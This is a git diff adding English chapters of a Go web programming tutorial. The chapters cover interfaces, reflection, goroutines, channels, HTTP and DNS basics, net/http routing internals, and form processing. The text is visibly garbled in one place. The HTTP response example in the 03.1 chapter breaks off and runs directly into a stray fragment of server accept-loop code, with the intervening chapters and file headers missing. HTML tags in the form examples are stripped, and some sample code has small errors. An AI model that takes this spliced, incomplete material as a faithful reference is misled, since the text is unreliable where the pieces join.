methods, so all types implement an empty interface. This fact is very useful when we want to store all types at some point, and is similar to void* in C. +```Go +// define a as empty interface +var void interface{} + +// vars +i := 5 +s := "Hello world" + +// a can store value of any type +void = i +void = s +``` + +If a function uses an empty interface as its argument type, it can accept any type; if a function uses empty interface as its return value type, it can return any type. + +### Method arguments of an interface + +Any variable can be used in an interface. So how can we use this feature to pass any type of variable to a function? + +For example we use `fmt.Println` a lot, but have you ever noticed that it can accept any type of argument? Looking at the open source code of `fmt`, we see the following definition. +```Go +type Stringer interface { + String() string +} +``` +This means any type that implements interface Stringer can be passed to fmt.Println as an argument. Let's prove it. +```Go +package main + +import ( + "fmt" + "strconv" +) + +type Human struct { + name string + age int + phone string +} + +// Human implements fmt.Stringer +func (h Human) String() string { + return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone +} + +func main() { + Bob := Human{"Bob", 39, "000-7777-XXX"} + fmt.Println("This Human is : ", Bob) +} +``` + +Looking back to the example of Box, you will find that Color implements interface Stringer as well, so we are able to customize the print format. If we don't implement this interface, fmt.Println prints the type with its default format. +```Go +fmt.Println("The biggest one is", boxes.BiggestsColor().String()) +fmt.Println("The biggest one is", boxes.BiggestsColor()) +``` +Attention: If the type implemented the interface `error`, fmt will call `Error()`, so you don't have to implement Stringer at this point. + +### Type of variable in an interface + +If a variable is the type that implements an interface, we know that any other type that implements the same interface can be assigned to this variable. The question is how can we know the specific type stored in the interface. There are two ways which I will show you. + +- Assertion of Comma-ok pattern + +Go has the syntax `value, ok := element.(T)`. This checks to see if the variable is the type that we expect, where "value" is the value of the variable, "ok" is a variable of boolean type, "element" is the interface variable and the T is the type of assertion. + +If the element is the type that we expect, ok will be true, false otherwise. + +Let's use an example to see more clearly. +```Go +package main + +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + name string + age int +} + +func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" +} + +func main() { + list := make(List, 3) + list[0] = 1 // an int + list[1] = "Hello" // a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + if value, ok := element.(int); ok { + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + } else if value, ok := element.(string); ok { + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + } else if value, ok := element.(Person); ok { + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + } else { + fmt.Printf("list[%d] is of a different type\n", index) + } + } +} + +``` +It's quite easy to use this pattern, but if we have many types to test, we'd better use `switch`. + +- switch test + +Let's use `switch` to rewrite the above example. +```Go +package main + +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + name string + age int +} + +func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" +} + +func main() { + list := make(List, 3) + list[0] = 1 //an int + list[1] = "Hello" //a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + switch value := element.(type) { + case int: + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + case string: + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + case Person: + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + default: + fmt.Println("list[%d] is of a different type", index) + } + } +} + +``` + +One thing you should remember is that `element.(type)` cannot be used outside of the `switch` body, which means in that case you have to use the `comma-ok` pattern . + +### Embedded interfaces + +The most beautiful thing is that Go has a lot of built-in logic syntax, such as anonymous fields in struct. Not suprisingly, we can use interfaces as anonymous fields as well, but we call them `Embedded interfaces`. Here, we follow the same rules as anonymous fields. More specifically, if an interface has another interface embedded within it, it will behave as if it has all the methods that the embedded interface has. + +We can see that the source file in `container/heap` has the following definition: +```Go +type Interface interface { + sort.Interface // embedded sort.Interface + Push(x interface{}) //a Push method to push elements into the heap + Pop() interface{} //a Pop method that pops elements from the heap +} +``` +We see that `sort.Interface` is an embedded interface, so the above Interface has the three methods contained within the `sort.Interface` implicitly. +```Go +type Interface interface { + // Len is the number of elements in the collection. + Len() int + // Less returns whether the element with index i should sort + // before the element with index j. + Less(i, j int) bool + // Swap swaps the elements with indexes i and j. + Swap(i, j int) +} +``` +Another example is the `io.ReadWriter` in package `io`. +```Go +// io.ReadWriter +type ReadWriter interface { + Reader + Writer +} +``` +### Reflection + +Reflection in Go is used for determining information at runtime. We use the `reflect` package, and [The Laws of Reflection](http://golang.org/doc/articles/laws_of_reflection.html) post explains how reflect works in Go. + +There are three steps involved when using reflect. First, we need to convert an interface to reflect types (reflect.Type or reflect.Value, this depends on the situation). +```Go +t := reflect.TypeOf(i) // get meta-data in type i, and use t to get all elements +v := reflect.ValueOf(i) // get actual value in type i, and use v to change its value +``` +After that, we can convert the reflected types to get the values that we need. +```Go +var x float64 = 3.4 + +t := reflect.TypeOf(x) +v := reflect.ValueOf(x) + +fmt.Println("type:", t) +fmt.Println("value:", v) +fmt.Println("kind is float64:", v.Kind() == reflect.Float64) +``` +Finally, if we want to change the values of the reflected types, we need to make it modifiable. As discussed earlier, there is a difference between pass by value and pass by reference. The following code will not compile. +```Go +var x float64 = 3.4 +v := reflect.ValueOf(x) +v.SetFloat(7.1) +``` +Instead, we must use the following code to change the values from reflect types. +```Go +var x float64 = 3.4 +p := reflect.ValueOf(&x) +v := p.Elem() +v.SetFloat(7.1) +``` +We have just discussed the basics of reflection, however you must practice more in order to understand more. + +## Links + +- [Directory](preface.md) +- Previous section: [Object-oriented](02.5.md) +- Next section: [Concurrency](02.7.md) diff --git a/th/02.7.md b/th/02.7.md new file mode 100644 index 000000000..ab84dada9 --- /dev/null +++ b/th/02.7.md @@ -0,0 +1,250 @@ +# Concurrency + +It is said that Go is the C of the 21st century. I think there are two reasons for it. First, Go is a simple language. Second, concurrency is a hot topic in today's world, and Go supports this feature at the language level. + +## goroutine + +goroutines and concurrency are built into the core design of Go. They're similar to threads but work differently. Go also gives you full support to sharing memory in your goroutines. One goroutine usually uses 4~5 KB of stack memory. Therefore, it's not hard to run thousands of goroutines on a single computer. A goroutine is more lightweight, more efficient and more convenient than system threads. + +goroutines run on the thread manager at runtime in Go. We use the `go` keyword to create a new goroutine, which is a function at the underlying level ( ***main() is a goroutine*** ). +```Go +go hello(a, b, c) +``` +Let's see an example. +```Go +package main + +import ( + "fmt" + "runtime" +) + +func say(s string) { + for i := 0; i < 5; i++ { + runtime.Gosched() + fmt.Println(s) + } +} + +func main() { + go say("world") // create a new goroutine + say("hello") // current goroutine +} + +``` +Output: +``` + hello + world + hello + world + hello + world + hello + world + hello +``` +We see that it's very easy to use concurrency in Go by using the keyword `go`. In the above example, these two goroutines share some memory, but we would better off following the design recipe: Don't use shared data to communicate, use communication to share data. + +runtime.Gosched() means let the CPU execute other goroutines, and come back at some point. + +In Go 1.5,the runtime now sets the default number of threads to run simultaneously, defined by GOMAXPROCS, to the number of cores available on the CPU. + +Before Go 1.5,The scheduler only uses one thread to run all goroutines, which means it only implements concurrency. If you want to use more CPU cores in order to take advantage of parallel processing, you have to call runtime.GOMAXPROCS(n) to set the number of cores you want to use. If `n<1`, it changes nothing. + +## channels + +goroutines run in the same memory address space, so you have to maintain synchronization when you want to access shared memory. How do you communicate between different goroutines? Go uses a very good communication mechanism called `channel`. A `channel` is like two-way pipeline in Unix shells: use `channel` to send or receive data. The only data type that can be used in channels is the type `channel` and the keyword `chan`. Be aware that you have to use `make` to create a new `channel`. +```Go +ci := make(chan int) +cs := make(chan string) +cf := make(chan interface{}) +``` +channel uses the operator `<-` to send or receive data. +```Go +ch <- v // send v to channel ch. +v := <-ch // receive data from ch, and assign to v +``` +Let's see more examples. +```Go +package main + +import "fmt" + +func sum(a []int, c chan int) { + total := 0 + for _, v := range a { + total += v + } + c <- total // send total to c +} + +func main() { + a := []int{7, 2, 8, -9, 4, 0} + + c := make(chan int) + go sum(a[:len(a)/2], c) + go sum(a[len(a)/2:], c) + x, y := <-c, <-c // receive from c + + fmt.Println(x, y, x+y) +} + +``` +Sending and receiving data in channels blocks by default, so it's much easier to use synchronous goroutines. What I mean by block is that a goroutine will not continue when receiving data from an empty channel, i.e (`value := <-ch`), until other goroutines send data to this channel. On the other hand, the goroutine will not continue until the data it sends to a channel, i.e (`ch<-5`), is received. + +## Buffered channels + +I introduced non-buffered channels above. Go also has buffered channels that can store more than a single element. For example, `ch := make(chan bool, 4)`, here we create a channel that can store 4 boolean elements. So in this channel, we are able to send 4 elements into it without blocking, but the goroutine will be blocked when you try to send a fifth element and no goroutine receives it. +```Go +ch := make(chan type, n) + +n == 0 ! non-buffer(block) +n > 0 ! buffer(non-block until n elements in the channel) +``` +You can try the following code on your computer and change some values. +```Go +package main + +import "fmt" + +func main() { + c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine + c <- 1 + c <- 2 + fmt.Println(<-c) + fmt.Println(<-c) +} + +``` +## Range and Close + +We can use range to operate on buffer channels as in slice and map. +```Go +package main + +import ( + "fmt" +) + +func fibonacci(n int, c chan int) { + x, y := 1, 1 + for i := 0; i < n; i++ { + c <- x + x, y = y, x+y + } + close(c) +} + +func main() { + c := make(chan int, 10) + go fibonacci(cap(c), c) + for i := range c { + fmt.Println(i) + } +} + +``` +`for i := range c` will not stop reading data from channel until the channel is closed. We use the keyword `close` to close the channel in above example. It's impossible to send or receive data on a closed channel; you can use `v, ok := <-ch` to test if a channel is closed. If `ok` returns false, it means the there is no data in that channel and it was closed. + +Remember to always close channels in producers and not in consumers, or it's very easy to get into panic status. + +Another thing you need to remember is that channels are not like files. You don't have to close them frequently unless you are sure the channel is completely useless, or you want to exit range loops. + +## Select + +In the above examples, we only use one channel, but how can we deal with more than one channel? Go has a keyword called `select` to listen to many channels. + +`select` is blocking by default and it continues to execute only when one of channels has data to send or receive. If several channels are ready to use at the same time, select chooses which to execute randomly. +```Go +package main + +import "fmt" + +func fibonacci(c, quit chan int) { + x, y := 1, 1 + for { + select { + case c <- x: + x, y = y, x+y + case <-quit: + fmt.Println("quit") + return + } + } +} + +func main() { + c := make(chan int) + quit := make(chan int) + go func() { + for i := 0; i < 10; i++ { + fmt.Println(<-c) + } + quit <- 0 + }() + fibonacci(c, quit) +} + +``` +`select` has a `default` case as well, just like `switch`. When all the channels are not ready for use, it executes the default case (it doesn't wait for the channel anymore). +```Go +select { +case i := <-c: +// use i +default: +// executes here when c is blocked +} +``` +## Timeout + +Sometimes a goroutine becomes blocked. How can we avoid this to prevent the whole program from blocking? It's simple, we can set a timeout in the select. +```Go +func main() { + c := make(chan int) + o := make(chan bool) + go func() { + for { + select { + case v := <-c: + println(v) + case <-time.After(5 * time.Second): + println("timeout") + o <- true + break + } + } + }() + <-o +} + +``` +## Runtime goroutine + +The package `runtime` has some functions for dealing with goroutines. + +- `runtime.Goexit()` + + Exits the current goroutine, but defered functions will be executed as usual. + +- `runtime.Gosched()` + + Lets the scheduler execute other goroutines and comes back at some point. + +- `runtime.NumCPU() int` + + Returns the number of CPU cores + +- `runtime.NumGoroutine() int` + + Returns the number of goroutines + +- `runtime.GOMAXPROCS(n int) int` + + Sets how many CPU cores you want to use + +## Links + +- [Directory](preface.md) +- Previous section: [interface](02.6.md) +- Next section: [Summary](02.8.md) diff --git a/th/02.8.md b/th/02.8.md new file mode 100644 index 000000000..e5b8cbe81 --- /dev/null +++ b/th/02.8.md @@ -0,0 +1,32 @@ +# 2.8 Summary + +In this chapter, we mainly introduced the 25 Go keywords. Let's review what they are and what they do. +```Go + break default func interface select + case defer go map struct + chan else goto package switch + const fallthrough if range type + continue for import return var +``` +- `var` and `const` are used to define variables and constants. +- `package` and `import` are for package use. +- `func` is used to define functions and methods. +- `return` is used to return values in functions or methods. +- `defer` is used to define defer functions. +- `go` is used to start a new goroutine. +- `select` is used to switch over multiple channels for communication. +- `interface` is used to define interfaces. +- `struct` is used to define special customized types. +- `break`, `case`, `continue`, `for`, `fallthrough`, `else`, `if`, `switch`, `goto` and `default` were introduced in section 2.3. +- `chan` is the type of channel for communication among goroutines. +- `type` is used to define customized types. +- `map` is used to define map which is similar to hash tables in other languages. +- `range` is used for reading data from `slice`, `map` and `channel`. + +If you understand how to use these 25 keywords, you've learned a lot of Go already. + +## Links + +- [Directory](preface.md) +- Previous section: [Concurrency](02.7.md) +- Next chapter: [Web foundation](03.0.md) diff --git a/th/03.0.md b/th/03.0.md new file mode 100644 index 000000000..51063e2be --- /dev/null +++ b/th/03.0.md @@ -0,0 +1,9 @@ +# 3 Web foundation + +The reason you are reading this book is that you want to learn to build web applications in Go. As I've said before, Go provides many powerful packages like `http`. These packages can help you a lot when trying to build web applications. I'll teach you everything you need to know in the following chapters, and we'll talk about some concepts of the web and how to run web applications in Go in this chapter. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 2 Summary](02.8.md) +- Next section: [Web working principles](03.1.md) diff --git a/th/03.1.md b/th/03.1.md new file mode 100644 index 000000000..0166639eb --- /dev/null +++ b/th/03.1.md @@ -0,0 +1,155 @@ +# Web working principles + +Every time you open your browsers, type some URLs and press enter, you will see beautiful web pages appear on your screen. But do you know what is happening behind these simple actions? + +Normally, your browser is a client. After you type a URL, it takes the host part of the URL and sends it to a Domain Name Server (DNS) in order to get the IP address of the host. Then it connects to the IP address and asks to setup a TCP connection. The browser sends HTTP requests through the connection. The server handles them and replies with HTTP responses containing the content that make up the web page. Finally, the browser renders the body of the web page and disconnects from the server. + +![](images/3.1.web2.png?raw=true) + +Figure 3.1 Processes of users visit a website + +A web server, also known as an HTTP server, uses the HTTP protocol to communicate with clients. All web browsers can be considered clients. + +We can divide the web's working principles into the following steps: + +- Client uses TCP/IP protocol to connect to server. +- Client sends HTTP request packages to server. +- Server returns HTTP response packages to client. If the requested resources include dynamic scripts, server calls script engine first. +- Client disconnects from server, starts rendering HTML. + +This is a simple work flow of HTTP affairs -notice that the server closes its connections after it sends data to the clients, then waits for the next request. + +## URL and DNS resolution + +We always use URLs to access web pages, but do you know how URLs work? + +The full name of a URL is Uniform Resource Locator. It's for describing resources on the internet and its basic form is as follows. + + scheme://host[:port#]/path/.../[?query-string][#anchor] + scheme assign underlying protocol (such as HTTP, HTTPS, FTP) + host IP or domain name of HTTP server + port# default port is 80, and it can be omitted in this case. + If you want to use other ports, you must specify which port. For example, + http://www.cnblogs.com:8080/ + path resources path + query-string data are sent to server + anchor anchor + +DNS is an abbreviation of Domain Name System. It's the naming system for computer network services, and it converts domain names to actual IP addresses, just like a translator. + +![](images/3.1.dns_hierachy.png?raw=true) + +Figure 3.2 DNS working principles + +To understand more about its working principle, let's see the detailed DNS resolution process as follows. + +1. After typing the domain name `www.qq.com` in the browser, the operating system will check if there are any mapping relationships in the hosts' files for this domain name. If so, then the domain name resolution is complete. +2. If no mapping relationships exist in the hosts' files, the operating system will check if any cache exists in the DNS. If so, then the domain name resolution is complete. +3. If no mapping relationships exist in both the host and DNS cache, the operating system finds the first DNS resolution server in your TCP/IP settings, which is likely your local DNS server. When the local DNS server receives the query, if the domain name that you want to query is contained within the local configuration of its regional resources, it returns the results to the client. This DNS resolution is authoritative. +4. If the local DNS server doesn't contain the domain name but a mapping relationship exists in the cache, the local DNS server gives back this result to the client. This DNS resolution is not authoritative. +5. If the local DNS server cannot resolve this domain name either by configuration of regional resources or cache, it will proceed to the next step, which depends on the local DNS server's settings. +-If the local DNS server doesn't enable forwarding, it routes the request to the root DNS server, then returns the IP address of a top level DNS server which may know the domain name, `.com` in this case. If the first top level DNS server doesn't recognize the domain name, it again reroutes the request to the next top level DNS server until it reaches one that recognizes the domain name. Then the top level DNS server asks this next level DNS server for the IP address corresponding to `www.qq.com`. +-If the local DNS server has forwarding enabled, it sends the request to an upper level DNS server. If the upper level DNS server also doesn't recognize the domain name, then the request keeps getting rerouted to higher levels until it finally reaches a DNS server which recognizes the domain name. + +Whether or not the local DNS server enables forwarding, the IP address of the domain name always returns to the local DNS server, and the local DNS server sends it back to the client. + +![](images/3.1.dns_inquery.png?raw=true) + +Figure 3.3 DNS resolution work flow + +`Recursive query process` simply means that the enquirers change in the process. Enquirers do not change in `Iterative query` processes. + +Now we know clients get IP addresses in the end, so the browsers are communicating with servers through IP addresses. + +## HTTP protocol + +The HTTP protocol is a core part of web services. It's important to know what the HTTP protocol is before you understand how the web works. + +HTTP is the protocol that is used to facilitate communication between browser and web server. It is based on the TCP protocol and usually uses port 80 on the side of the web server. It is a protocol that utilizes the request-response model -clients send requests and servers respond. According to the HTTP protocol, clients always setup new connections and send HTTP requests to servers. Servers are not able to connect to clients proactively, or establish callback connections. The connection between a client and a server can be closed by either side. For example, you can cancel your download request and HTTP connection and your browser will disconnect from the server before you finish downloading. + +The HTTP protocol is stateless, which means the server has no idea about the relationship between the two connections even though they are both from same client. To solve this problem, web applications use cookies to maintain the state of connections. + +Because the HTTP protocol is based on the TCP protocol, all TCP attacks will affect HTTP communications in your server. Examples of such attacks are SYN flooding, DoS and DDoS attacks. + +### HTTP request package (browser information) + +Request packages all have three parts: request line, request header, and body. There is one blank line between header and body. + + GET /domains/example/ HTTP/1.1 // request line: request method, URL, protocol and its version + Host:www.iana.org // domain name + User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 // browser information + Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 // mime that clients can accept + Accept-Encoding:gzip,deflate,sdch // stream compression + Accept-Charset:UTF-8,*;q=0.5 // character set in client side + // blank line + // body, request resource arguments (for example, arguments in POST) + +We use fiddler to get the following request information. + +![](images/3.1.http.png?raw=true) + +Figure 3.4 Information of a GET request caught by fiddler + +![](images/3.1.httpPOST.png?raw=true) + +Figure 3.5 Information of a POST request caught by fiddler + +**We can see that GET does not have a request body, unlike POST, which does.** + +There are many methods you can use to communicate with servers in HTTP; GET, POST, PUT and DELETE are the 4 basic methods that we typically use. A URL represents a resource on a network, so these 4 methods define the query, change, add and delete operations that can act on these resources. GET and POST are very commonly used in HTTP. GET can append query parameters to the URL, using `?` to separate the URL and parameters and `&` between the arguments, like `EditPosts.aspx?name=test1&id=123456`. POST puts data in the request body because the URL implements a length limitation via the browser. Thus, POST can submit much more data than GET. Also, when we submit user names and passwords, we don't want this kind of information to appear in the URL, so we use POST to keep them invisible. + +### HTTP response package (server information) + +Let's see what information is contained in the response packages. + + HTTP/1.1 200 OK // status line + Server: nginx/1.0.8 // web server software and its version in the server machine + Date:Date: Tue, 30 Oct 2012 04:14:25 GMT // responded time + Content-Type: text/html // responded data type + Transfer-Encoding: chunked // it means data were sent in fragments + Connection: keep-alive // keep connection + Content-Length: 90 // length of body + // blank line + max { + tempDelay = max + } + log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay) + time.Sleep(tempDelay) + continue + } + return e + } + tempDelay = 0 + c, err := srv.newConn(rw) + if err != nil { + continue + } + go c.serve() + } + } + + +How do we accept client requests after we begin listening to a port? In the source code, we can see that `srv.Serve(net.Listener)` is called to handle client requests. In the body of the function there is a `for{}`. It accepts a request, creates a new connection then starts a new goroutine, passing the request data to the `go c.serve()` goroutine. This is how Go supports high concurrency, and every goroutine is independent. + +How do we use specific functions to handle requests? `conn` parses request `c.ReadRequest()` at first, then gets the corresponding handler: `handler := sh.srv.Handler` which is the second argument we passed when we called `ListenAndServe`. Because we passed `nil`, Go uses its default handler `handler = DefaultServeMux`. So what is `DefaultServeMux` doing here? Well, its the router variable which can call handler functions for specific URLs. Did we set this? Yes, we did. We did this in the first line where we used `http.HandleFunc("/", sayhelloName)`. We're using this function to register the router rule for the "/" path. When the URL is `/`, the router calls the function `sayhelloName`. DefaultServeMux calls ServerHTTP to get handler functions for different paths, calling `sayhelloName` in this specific case. Finally, the server writes data and responds to clients. + +Detailed work flow: + +![](images/3.3.illustrator.png?raw=true) + +Figure 3.10 Work flow of handling an HTTP request + +I think you should know how Go runs web servers now. + +## Links + +- [Directory](preface.md) +- Previous section: [Build a simple web server](03.2.md) +- Next section: [Get into http package](03.4.md) diff --git a/th/03.4.md b/th/03.4.md new file mode 100644 index 000000000..b5b47bbb4 --- /dev/null +++ b/th/03.4.md @@ -0,0 +1,204 @@ +# 3.4 Get into http package + +In previous sections, we learned about the work flow of the web and talked a little bit about Go's `http` package. In this section, we are going to learn about two core functions in the `http` package: Conn and ServeMux. + +## goroutine in Conn + +Unlike normal HTTP servers, Go uses goroutines for every job initiated by Conn in order to achieve high concurrency and performance, so every job is independent. + +Go uses the following code to wait for new connections from clients. +```Go +c, err := srv.newConn(rw) +if err != nil { + continue +} +go c.serve() +``` +As you can see, it creates a new goroutine for every connection, and passes the handler that is able to read data from the request to the goroutine. + +## Customized ServeMux + +We used Go's default router in previous sections when discussing conn.server, with the router passing request data to a back-end handler. + +The struct of the default router: +```Go +type ServeMux struct { + mu sync.RWMutex // because of concurrency, we have to use a mutex here + m map[string]muxEntry // router rules, every string mapping to a handler +} +``` +The struct of muxEntry: +```Go +type muxEntry struct { + explicit bool // exact match or not + h Handler +} +``` +The interface of Handler: +```Go +type Handler interface { + ServeHTTP(ResponseWriter, *Request) // routing implementer +} +``` +`Handler` is an interface, but if the function `sayhelloName` didn't implement this interface, then how did we add it as handler? The answer lies in another type called `HandlerFunc` in the `http` package. We called `HandlerFunc` to define our `sayhelloName` method, so `sayhelloName` implemented `Handler` at the same time. It's like we're calling `HandlerFunc(f)`, and the function `f` is force converted to type `HandlerFunc`. +```Go +type HandlerFunc func(ResponseWriter, *Request) + +// ServeHTTP calls f(w, r). +func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) { + f(w, r) +} +``` +How does the router call handlers after we set the router rules? + +The router calls `mux.handler.ServeHTTP(w, r)` when it receives requests. In other words, it calls the `ServeHTTP` interface of the handlers which have implemented it. + +Now, let's see how `mux.handler` works. +```Go +func (mux *ServeMux) handler(r *Request) Handler { + mux.mu.RLock() + defer mux.mu.RUnlock() + + // Host-specific pattern takes precedence over generic ones + h := mux.match(r.Host + r.URL.Path) + if h == nil { + h = mux.match(r.URL.Path) + } + if h == nil { + h = NotFoundHandler() + } + return h +} +``` +The router uses the request's URL as a key to find the corresponding handler saved in the map, then calls handler.ServeHTTP to execute functions to handle the data. + +You should understand the default router's work flow by now, and Go actually supports customized routers. The second argument of `ListenAndServe` is for configuring customized routers. It's an interface of `Handler`. Therefore, any router that implements the `Handler` interface can be used. + +The following example shows how to implement a simple router. +```Go +package main + +import ( + "fmt" + "net/http" +) + +type MyMux struct { +} + +func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + http.NotFound(w, r) + return +} + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello myroute!") +} + +func main() { + mux := &MyMux{} + http.ListenAndServe(":9090", mux) +} +``` + +# Routing + +If you do not want to use a Router, you can still achieve what we wrote in the above section by replacing the second argument to `ListenAndServe` to nil and registering the URLs using a `HandleFunc` function which goes through all the registered URLs to find the best match, so care must be taken about the order of the registering. + +sample code: +```Go +http.HandleFunc("/", views.ShowAllTasksFunc) +http.HandleFunc("/complete/", views.CompleteTaskFunc) +http.HandleFunc("/delete/", views.DeleteTaskFunc) + +//ShowAllTasksFunc is used to handle the "/" URL which is the default ons +//TODO add http404 error +func ShowAllTasksFunc(w http.ResponseWriter, r *http.Request) { + if r.Method == "GET" { + context := db.GetTasks("pending") //true when you want non deleted tasks + //db is a package which interacts with the database + if message != "" { + context.Message = message + } + homeTemplate.Execute(w, context) + message = "" + } else { + message = "Method not allowed" + http.Redirect(w, r, "/", http.StatusFound) + } +} +``` +This is fine for simple applications which doesn't requires parameterized routing, what when you need that? You can either use the existing toolkits or frameworks, but since this book is about writing webapps in golang, we are going to teach how to handle this scenario as well. + +When the match is made on the `HandleFunc` function, the URL is matched, so suppose we are writing a todo list manager and we want to delete a task so the URL we decide for that application is `/delete/1`, so we register the delete URL like this + `http.HandleFunc("/delete/", views.DeleteTaskFunc)` + `/delete/1` this URL matches closest with the "/delete/" URL than any other URL so in the `r.URL.path` we get the entire URL of the request. +```Go +http.HandleFunc("/delete/", views.DeleteTaskFunc) +//DeleteTaskFunc is used to delete a task, trash = move to recycle bin, delete = permanent delete +func DeleteTaskFunc(w http.ResponseWriter, r *http.Request) { + if r.Method == "DELETE" { + id := r.URL.Path[len("/delete/"):] + if id == "all" { + db.DeleteAll() + http.Redirect(w, r, "/", http.StatusFound) + } else { + id, err := strconv.Atoi(id) + if err != nil { + fmt.Println(err) + } else { + err = db.DeleteTask(id) + if err != nil { + message = "Error deleting task" + } else { + message = "Task deleted" + } + http.Redirect(w, r, "/", http.StatusFound) + } + } + } else { + message = "Method not allowed" + http.Redirect(w, r, "/", http.StatusFound) + } +} +``` + link: https://github.com/thewhitetulip/Tasks/blob/master/views/views.go#L170-#L195 + + In this above method what we basically do is in the function which handles the `/delete/` URL we take its compelete URL, which is `/delete/1`, then we take a slice of the string and extract everything which starts after the delete word which is the actual parameter, in this case it is `1`. Then we use the `strconv` package to convert it to an integer and delete the task with that taskID. + +In more complex scenarios too we can use this method, the advantage is that we don't have to use any third party toolkit, but then again third party toolkits are useful in their own right, you need to make a decision which method you'd prefer. No answer is the right answer. + + +## Go code execution flow + +Let's take a look at the whole execution flow. + +- Call `http.HandleFunc` + 1. Call HandleFunc of DefaultServeMux + 2. Call Handle of DefaultServeMux + 3. Add router rules to map[string]muxEntry of DefaultServeMux +- Call `http.ListenAndServe(":9090", nil)` + 1. Instantiate Server + 2. Call ListenAndServe method of Server + 3. Call net.Listen("tcp", addr) to listen to port + 4. Start a loop and accept requests in the loop body + 5. Instantiate a Conn and start a goroutine for every request: `go c.serve()` + 6. Read request data: `w, err := c.readRequest()` + 7. Check whether handler is empty or not, if it's empty then use DefaultServeMux + 8. Call ServeHTTP of handler + 9. Execute code in DefaultServeMux in this case + 10. Choose handler by URL and execute code in that handler function: `mux.handler.ServeHTTP(w, r)` + 11. How to choose handler: + A. Check router rules for this URL + B. Call ServeHTTP in that handler if there is one + C. Call ServeHTTP of NotFoundHandler otherwise + +## Links + +- [Directory](preface.md) +- Previous section: [How Go works with web](03.3.md) +- Next section: [Summary](03.5.md) diff --git a/th/03.5.md b/th/03.5.md new file mode 100644 index 000000000..2d24cf9f6 --- /dev/null +++ b/th/03.5.md @@ -0,0 +1,11 @@ +# 3.5 Summary + +In this chapter, we introduced HTTP, DNS resolution flow and how to build a simple web server. Then we talked about how Go implements web servers for us by looking at the source code of the `net/http` package. + +I hope that you now know much more about web development, and you should see that it's quite easy and flexible to build a web application in Go. + +## Links + +- [Directory](preface.md) +- Previous section: [Get into http package](03.4.md) +- Next chapter: [User form](04.0.md) diff --git a/th/04.0.md b/th/04.0.md new file mode 100644 index 000000000..95e5119ed --- /dev/null +++ b/th/04.0.md @@ -0,0 +1,23 @@ +# 4 User form + +A user form is something that is very commonly used when developing web applications. It provides the ability to communicate between clients and servers. You must be very familiar with forms if you are a web developer; if you are a C/C++ programmer, you may want to ask: what is a user form? + +A form is an area that contains form elements. Users can input information into form elements like text boxes, drop down lists, radio buttons, check boxes, etc. We use the form tag `
` to define forms. + + + ... + input elements + ... +
+ +Go already has many convenient functions to deal with user forms. You can easily get form data in HTTP requests, and they are easy to integrate into your own web applications. In section 4.1, we are going to talk about how to handle form data in Go. Also, since you cannot trust any data coming from the client side, you must first validate the data before using it. We'll go through some examples about how to validate form data in section 4.2. + +We say that HTTP is stateless. How can we identify that certain forms are from the same user? And how do we make sure that one form can only be submitted once? We'll look at some details concerning cookies (a cookie is information that can be saved on the client side and added to the request header when the request is sent to the server) in both sections 4.3 and 4.4. + +Another common use-case for forms is uploading files. In section 4.5, you will learn how to do this as well as controlling the file upload size before it begins uploading, in Go. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 3 Summary](03.5.md) +- Next section: [Process form inputs](04.1.md) diff --git a/th/04.1.md b/th/04.1.md new file mode 100644 index 000000000..5f66e2e57 --- /dev/null +++ b/th/04.1.md @@ -0,0 +1,108 @@ +# 4.1 Process form inputs + +Before we begin, let's take a look at a simple example of a typical user form, saved as `login.gtpl` in your project folder. +```html + + + + + +
+ Username: + Password: + +
+ + +``` +This form will submit to `/login` on the server. After the user clicks the login button, the data will be sent to the `login` handler registered by the server router. Then we need to know whether it uses the POST method or GET. + +This is easy to find out using the `http` package. Let's see how to handle the form data on the login page. + +```Go +package main + +import ( + "fmt" + "html/template" + "log" + "net/http" + "strings" +) + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //Parse url parameters passed, then parse the response packet for the POST body (request body) + // attention: If you do not call ParseForm method, the following data can not be obtained form + fmt.Println(r.Form) // print information on server side. + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") // write data to response +} + +func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //get request method + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, nil) + } else { + r.ParseForm() + // logic part of log in + fmt.Println("username:", r.Form["username"]) + fmt.Println("password:", r.Form["password"]) + } +} + +func main() { + http.HandleFunc("/", sayhelloName) // setting router rule + http.HandleFunc("/login", login) + err := http.ListenAndServe(":9090", nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} + +``` +Here we use `r.Method` to get the request method, and it returns an http verb -"GET", "POST", "PUT", etc. + +In the `login` function, we use `r.Method` to check whether it's a login page or login processing logic. In other words, we check to see whether the user is simply opening the page, or trying to log in. Serve shows the page only when the request comes in via the GET method, and it executes the login logic when the request uses the POST method. + +You should see the following interface after opening 